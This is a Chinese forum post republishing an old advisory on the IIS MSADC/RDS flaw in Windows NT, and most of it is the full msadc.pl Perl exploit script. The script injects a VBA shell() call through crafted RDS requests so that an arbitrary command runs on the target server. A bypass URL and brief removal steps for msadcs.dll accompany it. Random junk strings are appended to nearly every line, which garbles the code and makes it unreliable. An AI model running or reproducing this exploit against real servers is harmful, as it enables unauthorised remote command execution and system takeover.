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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Hq6VwQu?  
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涉及程序: SO8Ej)m  
Microsoft NT server Po93&qE  
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描述: o]PSyVg  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Nf1) 5  
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详细: In:h%4>  
如果你没有时间读详细内容的话,就删除: $kkdB,y  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ]X@/0  
有关的安全问题就没有了。 wf<uG|90  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 j@2-^q:`  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 rTW1'@E  
关于利用ODBC远程漏洞的描述,请参看: [ZDJs`h!`  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm u;1#eP\;  
Xgr|~(^  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 R# mZYg  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 0Rrz   
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这里不再论述。 {Yv |C)O  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: "yL&?B"9@  
(|h<{ -L  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Z/:( *FC  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! !(l,+@j  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" DEqk9Exk`  
_17c}o#`5w  
#!perl (Q#ArMMORI  
# vWjK[5 M%  
# MSADC/RDS 'usage' (aka exploit) script OlMCF.W#3  
# AY,6Ddw  
# by rain.forest.puppy 1QjrL@$>15  
# *E+) mB"~  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me  YVD%GJ  
# beta test and find errors! UU$ +DL  
pl|< g9  
use Socket; use Getopt::Std; m S!/>.1[  
getopts("e:vd:h:XR", \%args); 6L'cD1pu  
:8yrtbf$  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; (:M6*RV  
\ 1ys2BX  
if (!defined $args{h} && !defined $args{R}) { At+on9&=  
print qq~ KDg!Y(m{  
Usage: msadc.pl -h <host> { -d <delay> -X -v } vTU"c>]  
-h <host> = host you want to scan (ip or domain) oPm1`x  
-d <seconds> = delay between calls, default 1 second i|.!*/qF  
-X = dump Index Server path table, if available ^ chlAQz(  
-v = verbose B>YrDJUN  
-e = external dictionary file for step 5 9Ni$nZN  
Ya304Pjd  
Or a -R will resume a command session .E[k}{k,  
^=.|\ YM  
~; exit;} LvhF@%(9J  
2*%0m^#^6  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; @fbvu_-].  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} r{p?aG  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} {K_YW  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); /0Zwgxt4?7  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} q\d'}:kfu  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } |44CD3A%  
++Az~{W7  
if (!defined $args{R}){ $ret = &has_msadc; cf@:rHB}  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} h#;fBQ]   
\AkeC6[D  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" $?wX*  
. "cmd /c "; vE6/B"b  
$in=<STDIN>; chomp $in; ~wh8)rm  
$command="cmd /c " . $in ; ~)sb\o  
WoesE:NiR  
if (defined $args{R}) {&load; exit;} C0KP,JS&  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; O:p~L`o>>  
&try_btcustmr; AkT_ZU>  
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print "\nStep 2: Trying to make our own DSN..."; #HM0s~^w&  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; [u,B8DX  
DV{Qbe#In  
print "\nStep 3: Trying known DSNs..."; B7N?"'$i  
&known_dsn; sL+/Eeb` c  
/!jn$4fd:  
print "\nStep 4: Trying known .mdbs..."; 9QWS[E4  
&known_mdb; nVs0$?}  
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if (defined $args{e}){ kw}J~f2  
print "\nStep 5: Trying dictionary of DSN names..."; dwB-WF%k  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } JF24~Q4P  
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print "Sorry Charley...maybe next time?\n"; cnhYrX^  
exit; 5 F H#)  
kmo3<'j{  
############################################################################## -L1{0{Z  
{IqbO>|"O_  
sub sendraw { # ripped and modded from whisker UAUo)VVi"  
sleep($delay); # it's a DoS on the server! At least on mine... )v0m7L v#/  
my ($pstr)=@_; cz&FOP+!  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || E xY ~.  
die("Socket problems\n"); .VTHZvyn  
if(connect(S,pack "SnA4x8",2,80,$target)){ _2U1$0xK  
select(S); $|=1; |/YT.c%  
print $pstr; my @in=<S>; FkKx~I:  
select(STDOUT); close(S); |w:7).P  
return @in; ]U'KYrh  
} else { die("Can't connect...\n"); }} Jw"'ZW#W  
"sL#)<%  
############################################################################## 6ZCt xs!  
YI&^j2  
sub make_header { # make the HTTP request tw\/1wa.  
my $msadc=<<EOT AGPZd9  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 !3?HpR/nV  
User-Agent: ACTIVEDATA iMJjWkk  
Host: $ip %UgyGQeo  
Content-Length: $clen Y 1LE.{  
Connection: Keep-Alive T9N /;3  
0u)]1  
ADCClientVersion:01.06  $p}7CP  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 >|uZIcs 6  
m|=/|Hm  
--!ADM!ROX!YOUR!WORLD! a?\ Au  
Content-Type: application/x-varg V4ayewVX  
Content-Length: $reqlen M^k~w{   
+r4^oT[-  
EOT 8 :Z3Q  
; $msadc=~s/\n/\r\n/g; viY _Y.Yjy  
return $msadc;} F9-xp7 T  
LGRX@nF#  
############################################################################## RUSBJsMB  
<:>a51HBX  
sub make_req { # make the RDS request :2K0/@<x  
my ($switch, $p1, $p2)=@_; Z`q?pE>R  
my $req=""; my $t1, $t2, $query, $dsn; +<8r?d2  
e9N"{kDs6  
if ($switch==1){ # this is the btcustmr.mdb query &YqgMC  
$query="Select * from Customers where City=" . make_shell(); dM#\h*:=  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . o!\Vk~Vi&  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} A GS?<6W-  
0j_`7<,:  
elsif ($switch==2){ # this is general make table query a|lcOU  
$query="create table AZZ (B int, C varchar(10))"; / u>")f  
$dsn="$p1";} om;jXf}A  
dJ:EXVU  
elsif ($switch==3){ # this is general exploit table query vSPkm)O0)  
$query="select * from AZZ where C=" . make_shell(); NC@OmSR\0  
$dsn="$p1";} d,+d8X  
>g8Tl`P,iN  
elsif ($switch==4){ # attempt to hork file info from index server *%\z#Bje@  
$query="select path from scope()"; 1Cp5a2{  
$dsn="Provider=MSIDXS;";} n\wO[l)  
Pou`PNvH  
elsif ($switch==5){ # bad query f{k2sU*uBE  
$query="select"; PgxD?Oi8  
$dsn="$p1";} 4CfPa6_  
}(20MW8rMc  
$t1= make_unicode($query); j`='SzVloW  
$t2= make_unicode($dsn); $(.[b][S  
$req = "\x02\x00\x03\x00"; ZU7,=B=  
$req.= "\x08\x00" . pack ("S1", length($t1)); /&cb`^"U^  
$req.= "\x00\x00" . $t1 ; O .m; a_  
$req.= "\x08\x00" . pack ("S1", length($t2)); <gQw4  
$req.= "\x00\x00" . $t2 ; 'SvYZ0ot  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; b2r@vZ]D  
return $req;} [bH6>{3u  
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############################################################################## D~U 4K-  
0bS\VUB(  
sub make_shell { # this makes the shell() statement N3 07lGb  
return "'|shell(\"$command\")|'";} Rco#?'  
;~#rd L  
############################################################################## oG3>lqBwD2  
vfcj,1  
sub make_unicode { # quick little function to convert to unicode UIovv%7zZ  
my ($in)=@_; my $out; P*)}ENY  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ^)D[ W(*  
return $out;} F{B__Kf  
WFsa8qv  
############################################################################## aQ46euth  
Y(-4Agq  
sub rdo_success { # checks for RDO return success (this is kludge) Y!Wz7 C  
my (@in) = @_; my $base=content_start(@in); G>d@lt  
if($in[$base]=~/multipart\/mixed/){ [#M^:Q  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} bAGQ  
return 0;} (7;}F~?h  
)&;?|X+p  
############################################################################## 9JJ(KY  
]fnc.^{  
sub make_dsn { # this makes a DSN for us o!gl :izb  
my @drives=("c","d","e","f"); s+h`,gg9  
print "\nMaking DSN: "; BC 9rsb  
foreach $drive (@drives) { <Gr{h>b  
print "$drive: "; _U|s!60'  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . |Q?IV5%$  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" pg [F{T<  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); xQ-]Iw5  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; -c~nmPEG6  
return 0 if $2 eq "404"; # not found/doesn't exist NoV)}fX$X8  
if($2 eq "200") { DnMfHG[<  
foreach $line (@results) { @K3<K (  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} sas;<yh  
} return 0;} - b:&ACY  
B9&"/tT  
############################################################################## ~?H _?}e  
~(~fuDT~O  
sub verify_exists { =*~]lz__M  
my ($page)=@_; @M?;~M?B]J  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 27<~m=`}d  
return $results[0];} C;-9_;&  
7D|g|i  
############################################################################## h%8[];*DpN  
b$l@Z&[]  
sub try_btcustmr { +DY% Y `0  
my @drives=("c","d","e","f"); /608P:U  
my @dirs=("winnt","winnt35","winnt351","win","windows"); nNSq6 Cj  
g0: mm,t\  
foreach $dir (@dirs) { 2bPrND\P=  
print "$dir -> "; # fun status so you can see progress 2E9Cp  
foreach $drive (@drives) { #tRLvOR:  
print "$drive: "; # ditto t5\~Z}G8  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; )}0(7z Yu  
$reqlenlen=length( "$reqlen" ); cz~Fz;)2{N  
$clen= 206 + $reqlenlen + $reqlen; ] bz']`  
%V%*0S|U  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); t,gKN^P_  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} `b=?z%LuT  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}  W>.KV7  
F3HpDfy  
############################################################################## K.Nun)<  
7hlgm7 ^  
sub odbc_error { 5A g 4o  
my (@in)=@_; my $base; [y7BHikX)  
my $base = content_start(@in); !_3R dS  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this zYvf}L&]h  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 8$xd;+`y'  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; mJ2>#j;5f  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; u]lf~EE  
return $in[$base+4].$in[$base+5].$in[$base+6];} F *_g3K!!  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 9%^q?S/Rv  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . $!h21  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} <7NY.zvwk]  
&U^6N+l9  
############################################################################## rvgArFf}]  
] ?w hx &+  
sub verbose { 9tDo5 29  
my ($in)=@_; ]vo&NE  
return if !$verbose; 7s+3^'  
print STDOUT "\n$in\n";} +&6R(7XC  
/>=)=CGv;  
############################################################################## LmE%`qNg  
2Dgulx5kGZ  
sub save { ]:uJ&xUar  
my ($p1, $p2, $p3, $p4)=@_; `md)|PSU  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; r-&Rjg  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; u(iEuF;7  
close OUT;} +F= j1*'&  
F)Oe;z6  
############################################################################## Z7a~M3VnZ  
KAVe~j"  
sub load { 5v >0$Y{  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; q,w8ca 4~y  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); r`Y[XzT9  
@p=<IN>; close(IN); *8{PoD   
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ByqB4Hv2  
$target= inet_aton($ip) || die("inet_aton problems"); wqEO+7)S  
print "Resuming to $ip ..."; p uEu v6F  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; iOXxxP%#  
if($p[1]==1) { ^Tgu]t   
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; K:hZ  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; JR>#PJ,N-  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); v[~e=^IIsl  
if (rdo_success(@results)){print "Success!\n";} 6g06s @kz  
else { print "failed\n"; verbose(odbc_error(@results));}} 7VQ|3`!<  
elsif ($p[1]==3){ \ <b-I  
if(run_query("$p[3]")){ }i0(^"SoXZ  
print "Success!\n";} else { print "failed\n"; }} !A!}j.s  
elsif ($p[1]==4){ JG\T2/b  
if(run_query($drvst . "$p[3]")){ "|ZC2Zu<  
print "Success!\n"; } else { print "failed\n"; }} |+K3\b  
exit;} Qk2^p^ T6  
+ExXhT  
############################################################################## }QrBN:a$(  
?"-%>y@w  
sub create_table { ElLDSo@WvR  
my ($in)=@_; nW#UBtZ  
$reqlen=length( make_req(2,$in,"") ) - 28; *-0tj~)>  
$reqlenlen=length( "$reqlen" ); YL*yiZ9  
$clen= 206 + $reqlenlen + $reqlen; 4&]Sb}  
my @results=sendraw(make_header() . make_req(2,$in,"")); `L n,qiA  
return 1 if rdo_success(@results); .h O ) R.  
my $temp= odbc_error(@results); verbose($temp); /E8{:>2  
return 1 if $temp=~/Table 'AZZ' already exists/; H&Jp,<\x  
return 0;} 2 u:w  
wtlIyE  
############################################################################## >#~!03  
4B? 8$&b  
sub known_dsn { 1o5n1 A  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go av|r^zc  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 2wCTd:e:  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", r: Ij\YQ  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 2GB)K?1M  
/B eA-\B  
foreach $dSn (@dsns) { 2UqLV^ZY  
print "."; EMK>7 aks  
next if (!is_access("DSN=$dSn")); B. '&[A  
if(create_table("DSN=$dSn")){ ^I2+$  
print "$dSn successful\n"; mY!os91KoO  
if(run_query("DSN=$dSn")){ =SMI,p&  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { XL SYE   
print "Something's borked. Use verbose next time\n";}}} print "\n";} W:s`;8iM$  
Fb8~2N"3  
############################################################################## wNQhz.>y  
sv}k_6XgY  
sub is_access { 6jS:_[p  
my ($in)=@_; #Xdj:T<*  
$reqlen=length( make_req(5,$in,"") ) - 28; MC=pN(l  
$reqlenlen=length( "$reqlen" );  M18<d1*  
$clen= 206 + $reqlenlen + $reqlen; L>:YGM"sL  
my @results=sendraw(make_header() . make_req(5,$in,"")); pHO,][VZ  
my $temp= odbc_error(@results); pYXusS7S  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); o!bIaeEaU  
return 0;} _4~'K?  
Js{X33^Ju  
############################################################################## KYe@2 6   
0_\@!#-sml  
sub run_query { ?4QX;s7  
my ($in)=@_; m3Ma2jLWC  
$reqlen=length( make_req(3,$in,"") ) - 28; G_m$W3 zS  
$reqlenlen=length( "$reqlen" ); m[l[yUw#  
$clen= 206 + $reqlenlen + $reqlen; |t<Uh,Bt  
my @results=sendraw(make_header() . make_req(3,$in,"")); /<"<N<X  
return 1 if rdo_success(@results);  Y7q=]  
my $temp= odbc_error(@results); verbose($temp); .r=F'i}-j*  
return 0;} b9 Gq';o  
 }\ ^J:@  
############################################################################## |/!3N  
c-s A?q#|  
sub known_mdb { ^)wTCkH&y  
my @drives=("c","d","e","f","g"); ON r}{T%@/  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Xo,}S\wcn  
my $dir, $drive, $mdb; k+nfW]UNF  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ~6bf-Wg'X  
! J7ExfEA  
# this is sparse, because I don't know of many l:Hm|9UZ  
my @sysmdbs=( "\\catroot\\icatalog.mdb", .A6i?iROe  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", IZw>!KYG  
"\\system32\\certmdb.mdb", VDnN2)Km*  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ,\".|m1o.  
98 Dg[O  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", E![Ye@w  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ^/`W0kT  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", G&7!3u  
"\\cfusion\\cfapps\\security\\realm_.mdb", 4xYW?s(  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Dej_(Dz_S  
"\\cfusion\\database\\cfexamples.mdb", 0<^!<i(%  
"\\cfusion\\database\\cfsnippets.mdb", d<,'9/a>  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", = ^NTHc^*  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 16pk4f8  
"\\cfusion\\brighttiger\\database\\cleam.mdb", )c;zNs  
"\\cfusion\\database\\smpolicy.mdb", P84uEDY  
"\\cfusion\\database\cypress.mdb", >5%;NI5 G  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", z&R #j  
"\\website\\cgi-win\\dbsample.mdb", D=>[~u3H  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", _zuX6DO  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" =eHoJq  
); #these are just =PQMd  
foreach $drive (@drives) { B)!ty"  
foreach $dir (@dirs){ qG&}lg?g{  
foreach $mdb (@sysmdbs) { {D>@ZC  
print "."; EklcnM|6  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ V{D~e0i/v  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; d[( }  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ z yh #ygH  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; -G|?Kl  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ZYMacTeJjg  
q$ZmR]p  
foreach $drive (@drives) { &N+i3l6`  
foreach $mdb (@mdbs) { eI#b%h  
print "."; He1hgJ)N  
if(create_table($drv . $drive . $dir . $mdb)){ VMZUJ2Yj/&  
print "\n" . $drive . $dir . $mdb . " successful\n"; <meQ  
if(run_query($drv . $drive . $dir . $mdb)){ p#QR^|7"  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; X"sc'#G T  
} else { print "Something's borked. Use verbose next time\n"; }}}} B)v|A  
} `<oNEr+#  
CW+]Jv]"  
############################################################################## Ow3t2G  
O_S%PX  
sub hork_idx { &;x*uG  
print "\nAttempting to dump Index Server tables...\n"; kWZ@v+Mk3  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ;Yr?"|  
$reqlen=length( make_req(4,"","") ) - 28; 1*VArr6*6  
$reqlenlen=length( "$reqlen" ); 2d60o~ E  
$clen= 206 + $reqlenlen + $reqlen; e$t$,3~  
my @results=sendraw2(make_header() . make_req(4,"","")); jl)7Jd  
if (rdo_success(@results)){ =^5,ua6  
my $max=@results; my $c; my %d; {0Jpf[.f  
for($c=19; $c<$max; $c++){ ,qz:(Nr  
$results[$c]=~s/\x00//g; R5b!Ao  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 2m8|0E|@  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; j=U^+jAn  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 6eB2mcV  
$d{"$1$2"}="";} bd$``(b`v  
foreach $c (keys %d){ print "$c\n"; } j8cXv  
} else {print "Index server doesn't seem to be installed.\n"; }} l'Kx#y$  
x)0''}E~  
############################################################################## j7>a ^W  
s~tZN  
sub dsn_dict { s9\N{ar#  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Hgk@I;  
while(<IN>){ UNO KK_  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ;x|LB>.  
next if (!is_access("DSN=$dSn"));  &e%eIz  
if(create_table("DSN=$dSn")){ a<W.}0ZY  
print "$dSn successful\n"; #*~3gMI{=  
if(run_query("DSN=$dSn")){ =3H*%  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { $p)e.ZMgE  
print "Something's borked. Use verbose next time\n";}}} t}X+P`Ovq  
print "\n"; close(IN);} VEG p!~D  
pl.x_E,HP  
############################################################################## PFSh_9. q  
K2@],E?e%|  
sub sendraw2 { # ripped and modded from whisker C(J+tbk  
sleep($delay); # it's a DoS on the server! At least on mine... Evy_I+l  
my ($pstr)=@_; b.#0{*/G  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || "">{8  
die("Socket problems\n"); >V$ S\"  
if(connect(S,pack "SnA4x8",2,80,$target)){ o ?`LZd:{  
print "Connected. Getting data"; $a.,; :  
open(OUT,">raw.out"); my @in; % s),4  
select(S); $|=1; print $pstr; Id<O/C  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} k"pN  
close(OUT); select(STDOUT); close(S); return @in; `#c36  
} else { die("Can't connect...\n"); }} JF6=0  
Kj/{V  
############################################################################## ]q":ta!f  
sD{d8s[(  
sub content_start { # this will take in the server headers {;^GKb+  
my (@in)=@_; my $c; x4Wu`-4^  
for ($c=1;$c<500;$c++) { wN2D{Jj  
if($in[$c] =~/^\x0d\x0a/){ zS/1v+  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } VC.zmCglo^  
else { return $c+1; }}} XbYST%| .  
return -1;} # it should never get here actually Q*W$!ZUT  
UPGS/Xs]1  
############################################################################## s)-O{5;U  
pkEx.R)  
sub funky { Y$<p_X,  
my (@in)=@_; my $error=odbc_error(@in); ?d5_{*]+v  
if($error=~/ADO could not find the specified provider/){ pzFM#   
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; o56UlN  
exit;} iu.$P-s  
if($error=~/A Handler is required/){ =jD9oMs  
print "\nServer has custom handler filters (they most likely are patched)\n"; E/ {v6S{)Y  
exit;} 0 ~^l*  
if($error=~/specified Handler has denied Access/){  <6STw  
print "\nServer has custom handler filters (they most likely are patched)\n"; 4sM9~zC5  
exit;}} %uQOAe55  
(4Ha'uqz  
############################################################################## *OU&`\bmE  
fI"OzIJV  
sub has_msadc { VxqoE]Dh  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); +&*Ybbhb  
my $base=content_start(@results); yP*oRV%uX  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); )n{9*{Ch  
return 0;} hnTk)nq5#  
|576)  
######################## )Pj4_$uM  
6|B;C  
J}Ji /  
解决方案: ~@%#eg  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 7Rl/F1G o}  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Z11I1)%s  
8<_dNt'91  
拿出来充数 哈哈
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